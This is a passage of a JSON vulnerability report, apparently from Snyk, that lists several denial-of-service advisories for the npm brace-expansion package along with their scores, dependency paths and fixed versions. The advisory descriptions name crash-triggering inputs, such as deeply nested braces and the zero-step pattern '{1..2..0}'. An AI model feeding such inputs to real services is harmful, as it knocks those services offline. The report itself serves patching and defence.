"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub 